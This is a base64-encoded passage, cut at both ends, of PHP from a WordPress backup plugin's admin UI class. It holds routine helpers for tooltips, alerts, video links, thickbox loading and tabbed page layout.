SBxdWVzdGlvbiBtYXJrLiBHcmFjZWZ1bGx5IGZhbGxzIGJhY2sgdG8gbm9ybWFsIHRvb2x0aXAuCgkgKglIVE1MIGlzIHN1cHBvc2VkIHdpdGhpbiB0b29sdGlwcy4KCSAqCgkgKglAcGFyYW0JCXN0cmluZwkJJG1lc3NhZ2UJCUFjdHVhbCBtZXNzYWdlIHRvIHNob3cgdG8gdXNlci4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkdGl0bGUJCQlUaXRsZSBvZiBtZXNzYWdlIHRvIHNob3cgdG8gdXNlci4gVGhpcyBpcyBkaXNwbGF5ZWQgYXQgdG9wIG9mIHRpcCBpbiBiaWdnZXIgbGV0dGVycy4gRGVmYXVsdCBpcyBibGFuay4gKG9wdGlvbmFsKQoJICoJQHBhcmFtCQlib29sZWFuCQkkZWNob190aXAJCVdoZXRoZXIgdG8gZWNobyB0aGUgdGlwIChkZWZhdWx0OyB0cnVlKSwgb3IgcmV0dXJuIHRoZSB0aXAgKGZhbHNlKS4gKG9wdGlvbmFsKQoJICoJQHJldHVybgkJc3RyaW5nL251bGwJCQkJCUlmIG5vdCBlY2hvaW5nIHRpcCB0aGVuIHRoZSBzdHJpbmcgd2lsbCBiZSByZXR1cm5lZC4gV2hlbiBlY2hvaW5nIHRoZXJlIGlzIG5vIHJldHVybi4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHRpcCggJG1lc3NhZ2UsICR0aXRsZSA9ICcnLCAkZWNob190aXAgPSB0cnVlICkgewoJCWlmICggJycgIT0gJHRpdGxlICkgewoJCQkkbWVzc2FnZSA9ICR0aXRsZSAuICcgLSAnIC4gJG1lc3NhZ2U7CgkJfQoJCSR0aXAgPSAnIDxhIGNsYXNzPSJwbHVnaW5idWRkeV90aXAiIHRpdGxlPSInIC4gJG1lc3NhZ2UgLiAnIj48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL3BsdWdpbmJ1ZGR5L2ltYWdlcy9wbHVnaW5idWRkeV90aXAucG5nIiBhbHQ9Iig/KSIgLz48L2E+JzsKCQlpZiAoICRlY2hvX3RpcCA9PT0gdHJ1ZSApIHsKCQkJZWNobyAkdGlwOwoJCX0gZWxzZSB7CgkJCXJldHVybiAkdGlwOwoJCX0KCX0gLy8gRW5kIHRpcCgpLgoKCgoJLyoqCgkgKglwYl9iYWNrdXBidWRkeTo6YWxlcnQoKQoJICoKCSAqCURpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhdCB0aGUgdG9wIG9mIHRoZSBwYWdlIHdoZW4gaW4gdGhlIGRhc2hib2FyZC4KCSAqCgkgKglAcGFyYW0JCXN0cmluZwkJJG1lc3NhZ2UJCU1lc3NhZ2UgeW91IHdhbnQgdG8gZGlzcGxheSB0byB0aGUgdXNlci4KCSAqCUBwYXJhbQkJYm9vbGVhbgkJJGVycm9yCQkJT1BUSU9OQUwhIHRydWUgaW5kaWNhdGVzIHRoaXMgYWxlcnQgaXMgYW4gZXJyb3IgYW5kIGRpc3BsYXlzIGFzIHJlZC4gRGVmYXVsdDogZmFsc2UKCSAqCUBwYXJhbQkJaW50CQkJJGVycm9yX2NvZGUJCU9QVElPTkFMISBFcnJvciBjb2RlIG51bWJlciB0byB1c2UgaW4gbGlua2luZyBpbiB0aGUgd2lraSBmb3IgZWFzeSByZWZlcmVuY2UuCgkgKglAcmV0dXJuCQludWxsCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBhbGVydCggJG1lc3NhZ2UsICRlcnJvciA9IGZhbHNlLCAkZXJyb3JfY29kZSA9ICcnLCAkcmVsX3RhZyA9ICcnLCAkbW9yZV9jc3MgPSAnJyApIHsKCQkkbG9nX2Vycm9yID0gZmFsc2U7CgoJCWVjaG8gJzxkaXYgaWQ9Im1lc3NhZ2UiIHN0eWxlPSInIC4gJG1vcmVfY3NzIC4gJyIgcmVsPSInIC4gJHJlbF90YWcgLiAnIiBjbGFzcz0icGJfYmFja3VwYnVkZHlfYWxlcnQgJzsKCQlpZiAoICRlcnJvciA9PT0gZmFsc2UgKSB7CgkJCWVjaG8gJ3VwZGF0ZWQgZmFkZSc7CgkJfSBlbHNlIHsKCQkJZWNobyAnZXJyb3InOwoJCQkkbG9nX2Vycm9yID0gdHJ1ZTsKCQl9CgkJaWYgKCAkZXJyb3JfY29kZSAhPSAnJyApIHsKCQkJJG1lc3NhZ2UgLj0gJyA8YSBocmVmPSJodHRwczovL2l0aGVtZXNoZWxwLnplbmRlc2suY29tL2hjL2VuLXVzL2FydGljbGVzLzIxMTEzMjM3Ny1FcnJvci1Db2Rlcy0jJyAuICRlcnJvcl9jb2RlIC4gJyIgdGFyZ2V0PSJfYmxhbmsiPjxpPicgLiBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICduYW1lJyApIC4gJyBFcnJvciBDb2RlICcgLiAkZXJyb3JfY29kZSAuICcgLSBDbGljayBmb3IgbW9yZSBkZXRhaWxzLjwvaT48L2E+JzsKCQkJJGxvZ19lcnJvciA9IHRydWU7CgkJfQoJCWlmICggJGxvZ19lcnJvciA9PT0gdHJ1ZSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OmxvZyggJG1lc3NhZ2UgLiAnIEVycm9yIENvZGU6ICcgLiAkZXJyb3JfY29kZSwgJ2Vycm9yJyApOwoJCX0KCQllY2hvICciID4nIC4gJG1lc3NhZ2UgLiAnPC9kaXY+JzsKCX0gLy8gRW5kIGFsZXJ0KCkuCgoKCgkvKioKCSAqCXBiX2JhY2t1cGJ1ZGR5OjpkaXNhbGVydCgpCgkgKgoJICoJRGlzcGxheXMgYSBESVNNSVNTQUJMRSBtZXNzYWdlIHRvIHRoZSB1c2VyIGF0IHRoZSB0b3Agb2YgdGhlIHBhZ2Ugd2hlbiBpbiB0aGUgZGFzaGJvYXJkLgoJICoKCSAqCUBwYXJhbQkJc3RyaW5nCQkkbWVzc2FnZQkJTWVzc2FnZSB5b3Ugd2FudCB0byBkaXNwbGF5IHRvIHRoZSB1c2VyLgoJICoJQHBhcmFtCQlib29sZWFuCQkkZXJyb3IJCQlPUFRJT05BTCEgdHJ1ZSBpbmRpY2F0ZXMgdGhpcyBhbGVydCBpcyBhbiBlcnJvciBhbmQgZGlzcGxheXMgYXMgcmVkLiBEZWZhdWx0OiBmYWxzZQoJICoJQHBhcmFtCQlpbnQJCQkkZXJyb3JfY29kZQkJT1BUSU9OQUwhIEVycm9yIGNvZGUgbnVtYmVyIHRvIHVzZSBpbiBsaW5raW5nIGluIHRoZSB3aWtpIGZvciBlYXN5IHJlZmVyZW5jZS4KCSAqCUByZXR1cm4JCW51bGwKCSAqLwoJcHVibGljIGZ1bmN0aW9uIGRpc2FsZXJ0KCAkdW5pcXVlX2lkLCAkbWVzc2FnZSwgJGVycm9yID0gZmFsc2UsICRtb3JlX2NzcyA9ICcnICkgewoKCQlpZiAoICggJycgPT0gJHVuaXF1ZV9pZCApIHx8ICggISBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydkaXNhbGVydHMnXVskdW5pcXVlX2lkXSApICkgKSB7CgkJCSRtZXNzYWdlID0gJzxhIHN0eWxlPSJmbG9hdDogcmlnaHQ7IiBjbGFzcz0icGJfYmFja3VwYnVkZHlfZGlzYWxlcnQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIHRpdGxlPSInIC4gX18oICdEaXNtaXNzIHRoaXMgYWxlcnQuIFVuaGlkZSBkaXNtaXNzZWQgYWxlcnRzIG9uIHRoZSBTZXR0aW5ncyBwYWdlLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgYWx0PSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAnZGlzYWxlcnQnICkgLiAnIj48Yj4nIC4gX18oICdEaXNtaXNzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnPC9iPjwvYT48ZGl2IHN0eWxlPSJtYXJnaW4tcmlnaHQ6IDEyMHB4OyI+JyAuICRtZXNzYWdlIC4gJzwvZGl2Pic7CgkJCSR0aGlzLT5hbGVydCggJG1lc3NhZ2UsICRlcnJvciwgJycsICR1bmlxdWVfaWQsICRtb3JlX2NzcyApOwoJCX0gZWxzZSB7CgkJCWVjaG8gJzwhLS0gUHJldmlvdXNseSBEaXNtaXNzZWQgQWxlcnQ6IGAnIC4gaHRtbGVudGl0aWVzKCAkbWVzc2FnZSApIC4gJ2AgLS0+JzsKCQl9CgoJCXJldHVybjsKCgl9IC8vIEVuZCBhbGVydCgpLgoKCgoJLyoqCgkgKglwYl9iYWNrdXBidWRkeTo6dmlkZW8oKQoJICoKCSAqCURpc3BsYXlzIGEgWW91VHViZSB2aWRlbyB0byB0aGUgdXNlciB3aGVuIHRoZXkgaG92ZXIgb3ZlciB0aGUgcXVlc3Rpb24gdmlkZW8gbWFyay4KCSAqCUhUTUwgaXMgc3VwcG9zZWQgd2l0aGluIHRvb2x0aXBzLgoJICoKCSAqCUBwYXJhbQkJc3RyaW5nCQkkdmlkZW9fa2V5CQlZb3VUdWJlIHZpZGVvIGtleSBmcm9tIHRoZSBVUkwgP3Y9VklERU9fS0VZX0hFUkUgIC0tIFRvIGp1bXAgdG8gYSBjZXJ0YWluIHRpbWVzdGFtcCBhZGQgI1NFQ09ORFMgdG8gdGhlIGVuZCBvZiB0aGUga2V5LCB3aGVyZSBTRUNPTkRTIGlzIHRoZSBudW1iZXIgb2Ygc2Vjb25kcyBpbnRvIHRoZSB2aWRlbyB0byBzdGFydCBhdC4gRXhhbXBsZSB0byBzdGFydCA2NSBzZWNvbmRzIGludG8gYSB2aWRlbzogOVpIV0dqQnI4NHMjNjUuIFRoaXMgbXVzdCBiZSBpbiBzZWNvbmRzIGZvcm1hdC4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkdGl0bGUJCQlUaXRsZSBvZiBtZXNzYWdlIHRvIHNob3cgdG8gdXNlci4gVGhpcyBpcyBkaXNwbGF5ZWQgYXQgdG9wIG9mIHRpcCBpbiBiaWdnZXIgbGV0dGVycy4gRGVmYXVsdCBpcyBibGFuay4gKG9wdGlvbmFsKQoJICoJQHBhcmFtCQlib29sZWFuCQkkZWNob190aXAJCVdoZXRoZXIgdG8gZWNobyB0aGUgdGlwIChkZWZhdWx0OyB0cnVlKSwgb3IgcmV0dXJuIHRoZSB0aXAgKGZhbHNlKS4gKG9wdGlvbmFsKQoJICoJQHJldHVybgkJc3RyaW5nL251bGwJCQkJCUlmIG5vdCBlY2hvaW5nIHRpcCB0aGVuIHRoZSBzdHJpbmcgd2lsbCBiZSByZXR1cm5lZC4gV2hlbiBlY2hvaW5nIHRoZXJlIGlzIG5vIHJldHVybi4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHZpZGVvKCAkdmlkZW9fa2V5LCAkdGl0bGUgPSAnJywgJGVjaG9fdGlwID0gdHJ1ZSApIHsKCgkJc2VsZjo6ZW5xdWV1ZV90aGlja2JveCgpOwoKCQlpZiAoIHN0cnN0ciggJHZpZGVvX2tleSwgJyMnICkgKSB7CgkJCSR2aWRlbyA9IGV4cGxvZGUoICcjJywgJHZpZGVvX2tleSApOwoJCQkkdmlkZW9bMV0gPSAnJnN0YXJ0PScgLiAkdmlkZW9bMV07CgkJfSBlbHNlIHsKCQkJJHZpZGVvWzBdID0gJHZpZGVvX2tleTsKCQkJJHZpZGVvWzFdID0gJyc7CgkJfQoKCQkkdGlwID0gJzxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LnlvdXR1YmUuY29tL2VtYmVkLycgLiB1cmxlbmNvZGUoICR2aWRlb1swXSApIC4gJz9hdXRvcGxheT0xJyAuICR2aWRlb1sxXSAuICcmVEJfaWZyYW1lPTEmd2lkdGg9NjAwJmhlaWdodD00MDAiIGNsYXNzPSJ0aGlja2JveCBwbHVnaW5idWRkeV90aXAiIHRpdGxlPSJWaWRlbyBUdXRvcmlhbCAtICcgLiAkdGl0bGUgLiAnIj48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL3BsdWdpbmJ1ZGR5L2ltYWdlcy9wbHVnaW5idWRkeV9wbGF5LnBuZyIgYWx0PSIodmlkZW8pIiAvPjwvYT4nOwoJCWlmICggJGVjaG9fdGlwID09PSB0cnVlICkgewoJCQllY2hvICR0aXA7CgkJfSBlbHNlIHsKCQkJcmV0dXJuICR0aXA7CgkJfQoJfSAvLyBFbmQgdmlkZW8oKS4KCgoKCS8qKgoJICogcGJfYmFja3VwYnVkZHk6OmVucXVldWVfdGhpY2tib3goKQoJICoKCSAqIEVucXVldWVzIHRoZSByZXF1aXJlZCBzY3JpcHRzIC8gc3R5bGVzIG5lZWRlZCB0byB1c2UgdGhpY2tib3gKCSAqCgkgKiBAcmV0dXJuIG51bGwKCSAqLwoJcHVibGljIGZ1bmN0aW9uIGVucXVldWVfdGhpY2tib3goKSB7CgoJCWlmICggIWRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSApIHsKCQkJZ2xvYmFsICR3cF9zY3JpcHRzOwoJCQlpZiAoIGlzX29iamVjdCggJHdwX3NjcmlwdHMgKSApIHsKCQkJCWlmICggIWluX2FycmF5KCAndGhpY2tib3gnLCAkd3Bfc2NyaXB0cy0+ZG9uZSApICkgewoJCQkJCXdwX2VucXVldWVfc2NyaXB0KCAndGhpY2tib3gnICk7CgkJCQkJd3BfcHJpbnRfc2NyaXB0cyggJ3RoaWNrYm94JyApOwoJCQkJCXdwX3ByaW50X3N0eWxlcyggJ3RoaWNrYm94JyApOwoJCQkJfQoJCQl9CgkJfQoJfSAvLyBFbmQgZW5xdWV1ZV90aGlja2JveCgpLgoKCgoJLyoJc3RhcnRfdGFicygpCgkgKgoJICoJU3RhcnRzIGEgdGFiYmVkIGludGVyZmFjZS4KIAkgKglAc2VlIGVuZF90YWJzKCkuCgkgKgoJICoJQHBhcmFtCQlzdHJpbmcJCSRpbnRlcmZhY2VfdGFnCQlUYWcvc2x1ZyBmb3IgdGhpcyBlbnRpcmUgdGFiYmVkIGludGVyZmFjZS4gU2hvdWxkIGJlIHVuaXF1ZS4KCSAqCUBwYXJhbQkJYXJyYXkJCSR0YWJzCQkJCUFycmF5IGNvbnRhaW5pbmcgYW4gYXJyYXkgb2Ygc2V0dGluZ3MgZm9yIHRoaXMgdGFiYmVkIGludGVyZmFjZS4gRXg6ICBhcnJheSggYXJyYXkoICd0aXRsZSc+ICdteSB0aXRsZScsICdzbHVnJyA9PiAnbXl0YWJzJyApICk7CgkgKgkJCQkJCQkJCQkJCU9wdGlvbmFsIHNldHRpbmcgd2l0aCBrZXkgYGFqYXhfdXJsYCBtYXkgZGVmaW5lIGEgVVJMIGZvciBBSkFYIGxvYWRpbmcuCgkgKglAcGFyYW0JCXN0cmluZwkJJGNzcwkJCQlBZGRpdGlvbmFsIENTUyB0byBhcHBseSB0byBtYWluIG91dGVyIGRpdi4gKG9wdGlvbmFsKQoJICoJQHBhcmFtCQlib29sZWFuCQkkZWNobwkJCQlFY2hvIG91dHB1dCBpbnN0ZWFkIG9mIHJldHVybmluZy4gKG9wdGlvbmFsKQoJICoJQHBhcmFtCQlpbnQJCQkkYWN0aXZlX3RhYl9pbmRleAlUYWIgdG8gc3RhcnQgYXMgYWN0aXZlL3NlbGVjdGVkLgoJICoJQHJldHVybgkJbnVsbC9zdHJpbmcJCQkJCQludWxsIGlmICRlY2hvID0gZmFsc2UsIGFsbCBkYXRhIG90aGVyd2lzZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHN0YXJ0X3RhYnMoICRpbnRlcmZhY2VfdGFnLCAkdGFicywgJGNzcyA9ICcnLCAkZWNobyA9IHRydWUsICRhY3RpdmVfdGFiX2luZGV4ID0gMCApIHsKCQkkdGhpcy0+X3RhYl9pbnRlcmZhY2VfdGFnID0gJGludGVyZmFjZV90YWc7CgoJCXBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3NjcmlwdCggJ3BiX3RhYnMuanMnLCB0cnVlICk7CgoJCSRwcmVmaXggPSAncGJfJyAuIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3NsdWcnICkgLiAnXyc7IC8vIHBiX1BMVUdJTlNMVUdfCgkJJHJldHVybiA9ICcnOwoKCQkvKgoJCSRyZXR1cm4gLj0gJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4nOwoJCSRyZXR1cm4gLj0gJwlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgeyc7CgkJJHJldHVybiAuPSAnCQlqUXVlcnkoIiMnIC4gJHByZWZpeCAuICR0aGlzLT5fdGFiX2ludGVyZmFjZV90YWcgLiAnX3RhYnMiKS50YWJzKHsgYWN0aXZlOiAnIC4gJGFjdGl2ZV90YWJfaW5kZXggLiAnIH0pOyc7CgkJJHJldHVybiAuPSAnCX0pOyc7CgkJJHJldHVybiAuPSAnPC9zY3JpcHQ+JzsKCQkqLwoKCQkkcmV0dXJuIC49ICc8ZGl2IGNsYXNzPSJiYWNrdXBidWRkeS10YWJzLXdyYXAiPic7CgoKCQkkcmV0dXJuIC49ICc8aDIgY2xhc3M9Im5hdi10YWItd3JhcHBlciI+JzsKCQkkaSA9IDA7CgkJZm9yZWFjaCggJHRhYnMgYXMgJHRhYiApIHsKCQkJaWYgKCAhIGlzc2V0KCAkdGFiWydjc3MnXSApICkgewoJCQkJJHRhYlsnY3NzJ10gPSAnJzsKCQkJfQoJCQkkYWN0aXZlX3RhYl9jbGFzcyA9ICcnOwoJCQlpZiAoICRhY3RpdmVfdGFiX2luZGV4ID09ICRpICkgewoJCQkJJGFjdGl2ZV90YWJfY2xhc3MgPSAnbmF2LXRhYi1hY3RpdmUnOwoJCQl9CgkJCWlmICggaXNzZXQoICR0YWJbJ2FqYXgnXSApICYmICggJHRhYlsnYWpheF91cmwnXSAhPSAnJyApICkgeyAvLyBBSkFYIHRhYi4KCQkJCSRyZXR1cm4gLj0gJzxhIGNsYXNzPSJuYXYtdGFiIG5hdi10YWItJyAuICRpIC4gJyAnIC4gJGFjdGl2ZV90YWJfY2xhc3MgLiAnIGJiLXRhYi0nIC4gJHRhYlsnc2x1ZyddIC4gJyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBkYXRhLWFqYXg9IicgLiAkdGFiWydhamF4X3VybCddIC4gJyI+JyAuICR0YWJbJ3RpdGxlJ10gLiAnPC9hPic7CgkJCX0gZWxzZWlmICggaXNzZXQoICR0YWJbJ3VybCddICkgJiYgKCAkdGFiWyd1cmwnXSAhPSAnJyApICkgewoJCQkJJHJldHVybiAuPSAnPGEgY2xhc3M9Im5hdi10YWIgbmF2LXRhYi0nIC4gJGkgLiAnICcgLiAkYWN0aXZlX3RhYl9jbGFzcyAuICcgYmItdGFiLScgLiAkdGFiWydzbHVnJ10gLiAnIiBocmVmPSInIC4gJHRhYlsndXJsJ10gLiAnIj4nIC4gJHRhYlsndGl0bGUnXSAuICc8L2E+JzsKCQkJfSBlbHNlIHsgLy8gU3RhbmRhcmQ7IE5PIEFKQVguCgkJCQkkcmV0dXJuIC49ICc8YSBjbGFzcz0ibmF2LXRhYiBuYXYtdGFiLScgLiAkaSAuICcgJyAuICRhY3RpdmVfdGFiX2NsYXNzIC4gJyBiYi10YWItJyAuICR0YWJbJ3NsdWcnXSAuICciIHN0eWxlPSInIC4gJHRhYlsnY3NzJ10gLiAnIiBocmVmPSIjJyAuICRwcmVmaXggLiAkdGhpcy0+X3RhYl9pbnRlcmZhY2VfdGFnIC4gJ190YWJfJyAuICR0YWJbJ3NsdWcnXSAuICciPicgLiAkdGFiWyd0aXRsZSddIC4gJzwvYT4nOwoJCQl9CgkJCSRpKys7CgkJfQoJCSRyZXR1cm4gLj0gJzwvaDI+JzsKCgoJCS8qCgkJJHJldHVybiAuPSAnPGRpdiBpZD0iJyAuICRwcmVmaXggLiAkdGhpcy0+X3RhYl9pbnRlcmZhY2VfdGFnIC4gJ190YWJzIiBzdHlsZT0iJyAuICRjc3MgLiAnIj4nOwoJCSRyZXR1cm4gLj0gJzx1bD4nOwoJCWZvcmVhY2goICR0YWJzIGFzICR0YWIgKSB7CgkJCWlmICggISBpc3NldCggJHRhYlsnY3NzJ10gKSApIHsKCQkJCSR0YWJbJ2NzcyddID0gJyc7CgkJCX0KCQkJaWYgKCBpc3NldCggJHRhYlsnYWpheCddICkgJiYgKCAkdGFiWydhamF4X3VybCddICE9ICcnICkgKSB7IC8vIEFKQVggdGFiLgoJCQkJJHJldHVybiAuPSAnPGxpPjxhIGhyZWY9IicgLiAkdGFiWydhamF4X3VybCddIC4gJyI+PHNwYW4+JyAuICR0YWJbJ3RpdGxlJ10gLiAnPC9zcGFuPjwvYT48L2xpPic7CgkJCX0gZWxzZSB7IC8vIFN0YW5kYXJkOyBOTyBBSkFYLgoJCQkJJHJldHVybiAuPSAnPGxpIHN0eWxlPSInIC4gJHRhYlsnY3NzJ10gLiAnIj48YSBocmVmPSIjJyAuICRwcmVmaXggLiAkdGhpcy0+X3RhYl9pbnRlcmZhY2VfdGFnIC4gJ190YWJfJyAuICR0YWJbJ3NsdWcnXSAuICciPjxzcGFuPicgLiAkdGFiWyd0aXRsZSddIC4gJzwvc3Bhbj48L2E+PC9saT4nOwoJCQl9CgkJfQoJCSRyZXR1cm4gLj0gJzwvdWw+JzsKCQkkcmV0dXJuIC49ICc8YnI+JzsKCQkkcmV0dXJuIC49ICc8ZGl2IGNsYXNzPSJ0YWJzLWJvcmRlcndyYXAiPic7CgkJKi8KCgkJJHJldHVybiAuPSAnPGRpdiBjbGFzcz0iYmFja3VwYnVkZHktdGFiLWJsb2NrcyI+JzsKCgkJaWYgKCAkZWNobyA9PT0gdHJ1ZSApIHsKCQkJZWNobyAkcmV0dXJuOwoJCX0gZWxzZSB7CgkJCXJldHVybiAkcmV0dXJuOwoJCX0KCgl9IC8vIEVuZCBzdGFydF90YWJzKCkuCgoKCgkvKgllbmRfdGFicygpCgkgKgoJICoJQ2xvc2VzIG9mZiBhIHRhYmJlZCBpbnRlcmZhY2UuCgkgKglAc2VlIHN0YXJ0X3RhYnMoKS4KCSAqCgkgKglAcGFyYW0JCWJvb2xlYW4JCSRlY2hvCQkJCUVjaG8gb3V0cHV0IGluc3RlYWQgb2YgcmV0dXJuaW5nLiAgKG9wdGlvbmFsKQoJICoJQHJldHVybgkJbnVsbC9zdHJpbmcJCQkJCQludWxsIGlmICRlY2hvID0gZmFsc2UsIGFsbCBkYXRhIG90aGVyd2lzZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGVuZF90YWJzKCAkZWNobyA9IHRydWUgKSB7CgoJCS8qCgkJJHJldHVybiA9ICcnOwoJCSRyZXR1cm4gLj0gJwk8L2Rpdj4nOwoJCSRyZXR1cm4gLj0gJzwvZGl2Pic7CgkJKi8KCQkkcmV0dXJuID0gJzwvZGl2PjwvZGl2Pic7CgoJCSR0aGlzLT5fdGFiX2ludGVyZmFjZV90YWcgPSAnJzsKCgkJaWYgKCAkZWNobyA9PT0gdHJ1ZSApIHsKCQkJZWNobyAkcmV0dXJuOwoJCX0gZWxzZSB7CgkJCXJldHVybiAkcmV0dXJuOwoJCX0KCgl9IC8vIEVuZCBlbmRfdGFicygpLgoKCgoJLyoJc3RhcnRfdGFiKCkKCSAqCgkgKglPcGVucyB0aGUgc3RhcnQgb2YgYW4gaW5kaXZpZHVhbCBwYWdlIHRvIGJlIGxvYWRlZCBieSBhIHRhYi4KCSAqCUBzZWUgZW5kX3RhYigpLgoJICoKCSAqCUBwYXJhbQkJc3RyaW5nCQkkdGFiX3RhZwkJCVVuaXF1ZSB0YWcgZm9yIHRoaXMgdGFiIHNlY3Rpb24uIE11c3QgbWF0Y2ggdGhlIHRhZyBkZWZpbmVkIHdoZW4gY3JlYXRpbmcgdGhlIHRhYiBpbnRlcmZhY2UuCgkgKglAcGFyYW0JCWJvb2xlYW4JCSRlY2hvCQkJCUVjaG8gb3V0cHV0IGluc3RlYWQgb2YgcmV0dXJuaW5nLiAgKG9wdGlvbmFsKQoJICoJQHJldHVybgkJbnVsbC9zdHJpbmcJCQkJCQludWxsIGlmICRlY2hvID0gZmFsc2UsIGFsbCBkYXRhIG90aGVyd2lzZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHN0YXJ0X3RhYiggJHRhYl90YWcsICRlY2hvID0gdHJ1ZSApIHsKCgkJJHByZWZpeCA9ICdwYl8nIC4gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfJzsgLy8gcGJfUExVR0lOU0xVR18KCQkkcmV0dXJuID0gJyc7CgoJCSRyZXR1cm4gLj0gJzxkaXYgY2xhc3M9ImJhY2t1cGJ1ZGR5LXRhYiIgaWQ9IicgLiAkcHJlZml4IC4gJHRoaXMtPl90YWJfaW50ZXJmYWNlX3RhZyAuICdfdGFiXycgLiAkdGFiX3RhZyAuICciPic7CgoKCQlpZiAoICRlY2hvID09PSB0cnVlICkgewoJCQllY2hvICRyZXR1cm47CgkJfSBlbHNlIHsKCQkJcmV0dXJuICRyZXR1cm47CgkJfQoKCX0gLy8gRW5kIHN0YXJ0X3RhYigpLgoKCgoJLyoJZW5kX3RhYigpCgkgKgoJICoJQ2xvc2VzIHRoaXMgdGFiIHNlY3Rpb24uCgkgKglAc2VlIHN0YXJ0X3RhYigpLgoJICoKCSAqCUBwYXJhbQkJc3RyaW5nCQkkdGFiX3RhZwkJCVVuaXF1ZSB0YWcgZm9yIHRoaXMgdGFiIHNlY3Rpb24uIE11c3QgbWF0Y2ggdGhlIHRhZyBkZWZpbmVkIHdoZW4gY3JlYXRpbmcgdGhlIHRhYiBpbnRlcmZhY2UuCgkgKglAcGFyYW0JCWJvb2xlYW4JCSRlY2hvCQkJCUVjaG8gb3V0cHV0IGluc3RlYWQgb2YgcmV0dXJuaW5nLiAgKG9wdGlvbmFsKQoJICoJQHJldHVybgkJbnVsbC9zdHJpbmcJCQkJCQludWxsIGlmICRlY2hvID0gZmFsc2UsIGFsbCBkYXRhIG90aGVyd2lzZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGVuZF90YWIoICRlY2hvID0gdHJ1ZSApIHsKCgkJJHJldHVybiA9ICc8L2Rpdj4nOwoKCgkJaWYgKCAkZWNobyA9PT0gdHJ1ZSApIHsKCQkJZWNobyAkcmV0dXJuOwoJCX0gZWxzZSB7CgkJCXJldHVybiAkcmV0dXJuOwoJCX0KCgl9IC8vIEVuZCBlbmRfdGFiKCkuCgoKCgkvKglhamF4X2hlYWRlcigpCgkgKgoJICoJT3V0cHV0IEhUTUwgaGVhZGVycyB3aGVuIHVzaW5nIEFKQVguCgkgKgoJICoJQHBhcmFtCQlib29sZWFuCQkkanMJCQlXaGV0aGVyIG9yIG5vdCB0byBsb2FkIGphdmFzY3JpcHQuIERlZmF1bHQgZmFsc2UuCgkgKglAcGFyYW0JCWJvb2wJCSRwYWRkaW5nCVdoZXRoZXIgb3Igbm90IHRvIHBhZGQgd3JhcHBlciBkaXYuIERlZmF1bHQgaGFzIHBhZGRpbmcuCgkgKglAcmV0dXJuCgkgKi8KCWZ1bmN0aW9uIGFqYXhfaGVhZGVyKCAkanMgPSB0cnVlLCAkcGFkZGluZyA9IHRydWUgKSB7CgkJZWNobyAnPGhlYWQ+JzsKCQllY2hvICc8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4nOwoJCWVjaG8gJzx0aXRsZT5QbHVnaW5CdWRkeTwvdGl0bGU+JzsKCgkJd3BfcHJpbnRfc3R5bGVzKCAnd3AtYWRtaW4nICk7CgkJd3BfcHJpbnRfc3R5bGVzKCAnZGFzaGljb25zJyApOwoJCXdwX3ByaW50X3N0eWxlcyggJ2J1dHRvbnMnICk7CgkJd3BfcHJpbnRfc3R5bGVzKCAnY29sb3JzJyApOwoKCQlpZiAoICRqcyA9PT0gdHJ1ZSApIHsKCQkJd3BfZW5xdWV1ZV9zY3JpcHQoICdqcXVlcnknICk7CgkJCXdwX3ByaW50X3NjcmlwdHMoICdqcXVlcnknICk7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6bG9hZF9zdHlsZSggJ3dwLWFkbWluLmNzcycgKTsKCQlwYl9iYWNrdXBidWRkeTo6bG9hZF9zdHlsZSggJ3RoaWNrYm94ZWQuY3NzJyApOwoKCQkvL2VjaG8gJzxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCk7IC4gJy9jc3MvYWRtaW4uY3NzIiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9ImFsbCIgLz4nOwoJCXBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3NjcmlwdCggJ2FkbWluLmpzJywgdHJ1ZSApOwoJCXBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3N0eWxlKCAnYWRtaW4uY3NzJyApOwoJCXBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3NjcmlwdCggJ2pxdWVyeS11aS10b29sdGlwJywgZmFsc2UgKTsKCQlwYl9iYWNrdXBidWRkeTo6bG9hZF9zdHlsZSggJ2pRdWVyeS11aS0xLjExLjIuY3NzJywgdHJ1ZSApOwoKCQllY2hvICc8Ym9keSBjbGFzcz0id3AtY29yZS11aSIgc3R5bGU9ImJhY2tncm91bmQ6IGluaGVyaXQ7Ij4nOwo